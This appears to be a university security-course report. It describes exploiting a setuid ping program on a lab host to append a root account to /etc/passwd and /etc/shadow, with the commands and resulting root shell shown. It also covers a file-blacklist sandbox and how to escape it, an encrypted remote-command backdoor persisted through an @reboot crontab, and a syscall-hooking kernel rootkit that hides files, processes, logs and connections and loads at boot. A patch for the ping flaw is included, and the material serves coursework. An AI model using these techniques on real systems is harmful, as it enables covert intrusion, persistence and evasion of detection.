System Security

Contents

1 Privilege Escalation **2**
1.1 Patch 2

2 Sandbox **2**
2.1 Sandbox Escape 3

3 Backdoor **3**
3.1 Autostart 4

4 Rootkit **4**
4.1 Autostart 4

5 Requirements **4**

1 Privilege Escalation

In order to escalate our privileges, we can use the fact that the ping program has the sticky bit set and can be used to append text to files. Because the file is owned by root, it does not matter which user executes the program, as it will always be executed with root privileges.

We can therefore execute the following commands in order to create a new root user root10 that we can access with the password secret:

```
stud10@sping:~$ ping -c0 -f /etc/passwd -m "root10:x:0:0:root:/root:/bin/bash"
↪ 127.0.0.1
stud10@sping:~$ ping -c0 -f /etc/shadow -m
↪ "root10:\$6\$7Xaxr9K8gUOqAsib\$frKhqL55oQb.6u2SJ4JzhTv/pSDgtv7yJDQ4W.s2J0LiSh
↪ WXVMqRu5TZq98Mszs5wZ.UFECX9UhfHa9F31Zfe/:18768:0:99999:7:::" 127.0.0.1
stud10@sping:~$ su root10
Password: secret
root@sping:~$ id
uid=0(root) gid=0(root) groups=0(root)
```

1.1 Patch

In order to fix the above vulnerability, we can lower the privileges to those of the caller uid/gid before trying to open the logfile. We can then wrap the open() function into a try-except, so that it silently fails and continues with the program execution if the caller does not have the needed privileges to open that file. After that, the privileges will be restored to that of the owner of the file.

We can create a patch by printing the difference of the original file and the one with our fix applied, and save it into another file called ping.patch (line 1). Whoever needs to apply the patch afterwards can do that by executing the command in line 2.

```
diff -u ping.pyx ping-fix.pyx > ping.patch
patch ping.pyx ping.patch
# optional - create an executable, change owner and set permissions
make
sudo chown root:students ping
sudo chmod 4750 ping
```

2 Sandbox

Our sandbox prevents other programs from opening a file, i.e. reading or writing to a particular file. The configuration about which files are allowed to be opened, or in our case, disallowed, is loaded from a file named blacklist.lst.

In order to run a program inside the sandbox, we can execute the following command:

```
./sandbox run <program> <file>
```

We can test the sandbox with the files located in blatt4/a2 by executing the following commands:

```
user@pc:~$ ./hello test
user@pc:~$ ./hello passwd
user@pc:~$ ./sandbox run hello test
```

```
4 user@pc:~$ ./sandbox run hello passwd
5 Cannot open file 'passwd'!
```

As we can see, the program hello succeeds on lines 1-3, but fails to open the file passwd on line 4 (passwd and shadow are blacklisted).

The sandbox.cpp file can further be expanded to overwrite other functions (*open()*, etc.). The blacklist can also be expanded based on our needs. The program sandbox also has the ability to create a blacklist of the current filesystem by executing `sudo ./sandbox create` (see also `sandbox help`), but it has only be tested on a smaller Docker container, and even then, it takes some time to complete executing.

2.1 Sandbox Escape

In order to escape the sandbox, we can either use a scripting language like Python in order to skip using execve library calls or we can create a statically linked executable, which will make use of its own internal functions for calling execve [2].

3 Backdoor

Our backdoor consists of two different scripts: one that will run on the attacker machine and one that will run on the victim machine. When both scripts are executed, the attacker script will first wait for a heartbeat request, while the victim script will periodically send heartbeat requests. When the attacker script receives a heartbeat request, it will send back a heartbeat reply and the connection initiation will start (for demonstration purposes, the attacker needs to wait about 5-10 seconds before the connection is established).

Both scripts use the classes and methods from the file helper.py, i.e. both scripts use RSA for key exchange and AES for encryption/decryption. When the the connection is secured, the attacker will send a password to the victim machine in order to authenticate (both scripts need to be started with the same password given through the CLI).

We can install the backdoor by executing `dpkg -i backdoor.deb` as a root user on the victim machine. Then, in order to start it, the attacker needs to execute the following command (also on the victim machine and as a root user): `victim <ip_attacker> <password>`.

The victim script was tested on the server given in the exercise and should work without a problem. But in order to connect to it, i.e. in order for everything to be compatible and work without a problem, we can create a Docker container on our host machine and run the attacker script from inside the container.

```
1 user@pc:~$ sudo docker run --network host -v $(pwd)/blatt4/a3:/src -it
  ↪  ubuntu:16.04 /bin/bash
2 root@pc:/# apt update -y && apt upgrade -y
3 root@pc:/# apt install -y python3 openssl
4 root@pc:/# cd /src
5 root@pc:/src# dpkg -i backdoor.deb
6 root@pc:/src# attacker 10.0.23.31 <password>
```

After the connection is established, we can type commands, and the server will interpret them and send the output back to us. If we wish to disconnect, we can either type `quit` or `exit`.

Note: If you wish to create a debian package yourself, navigate to blatt4/a3 and execute `dpkg -b backdoor`.

3.1 Autostart

After installing the backdoor, we can create a new crontab tab that will get executed when the system is restarted. In order to do that, we can execute `crontab -e` as a root user, then navigate to the end of the file content and insert the following: `@reboot victim <ip_attacker> <password>` [5]. This way, the backdoor will get executed every time at system startup.

4 Rootkit

The rootkit starts by finding the address of the *sys_call_table*. It then finds the original functions (getdents(), kill() and open()) and saves them into separate variables for later use. After that, it unprotects the memory by changing the value of the **cr0** register and hooks the new functions (hook_getdents(), hook_kill() and hook_open()) in place of the old ones. It also hides itself from the `lsmod` command by deleting an entry in the module kernel structure. When all of this is done, the rootkit protects the memory again by changing back the value of the **cr0** register.

Each of the three functions mentioned above is responsible for hiding different things:

- getdents(): Responsible for hiding files that begin with a certain prefix from the `ls` command. It is also responsible for hiding certaing processes from `ps`.
- kill(): Responsible for hiding certain processes. In order to achieve this, it works in combination with getdents(). In order to hide a process, the rootkit waits for a kill signal (`sudo kill -64 <pid>`). This can be done from the backdoor program, i.e. the backdoor can get its process ID and execute the the `kill -64` command in order to hide itself.
- open(): Responsible for hiding logs and network connections. Because `lastlog` and `netstat` use different files to show logs (/var/log/lastlog) and raw socket information (/proc/net/raw), we can return a fake file descriptor (/dev/null) whenever one of those files needs to be accessed.

We can put all files that we want to hide (including our backdoor) inside a directory starting with the keyword *rootkit* or just prepend *rootkit* before their names.

4.1 Autostart

In order to load the rootkit module after a reboot, run all of the below commands as root [13]:

```
sudo echo "rootkit" >> /etc/modules
sudo cp blatt4/a4/rootkit.ko /lib/modules/$(uname -r)/kernel/drivers/pci
sudo depmod
```

5 Requirements

```
apt install -y diffutils patch make gcc g++ cython3 python3-dev python2-dev
```

If *Docker* is not installed on the system, please follow this tutorial for *Ubuntu*: https://docs.docker.com/engine/install/ubuntu.

References

1. https://android.googlesource.com/platform/bionic/+/ics-mr0/libc/stdio/fopen.c
2. https://gist.github.com/hashbrowncipher/bc40799eb61aebf1cc672f755ee54027
3. https://opensource.com/article/21/4/encryption-decryption-openssl
4. https://askubuntu.com/questions/90764/how-do-i-create-a-deb-package-for-a-single-python-script
5. https://stackoverflow.com/questions/12973777/how-to-run-a-shell-script-at-startup
6. https://resources.infosecinstitute.com/topic/rootkits-user-mode-kernel-mode-part-1/
7. https://infosecwriteups.com/linux-kernel-module-rootkit-syscall-table-hijacking-8f1bc0bd099c
8. https://foxtrot-sq.medium.com/linux-rootkits-multiple-ways-to-hook-syscall-s-7001cc02a1e6
9. https://man7.org/linux/man-pages/man2/getdents.2.html
10. https://github.com/xcellerator/linux_kernel_hacking/tree/master/3_RootkitTechniques
11. https://github.com/jordan9001/superhide/blob/master/superhide.c
12. https://en.wikipedia.org/wiki/Control_register
13. https://askubuntu.com/questions/299676/how-to-install-3rd-party-module-so-that-it-is-loaded-on-boot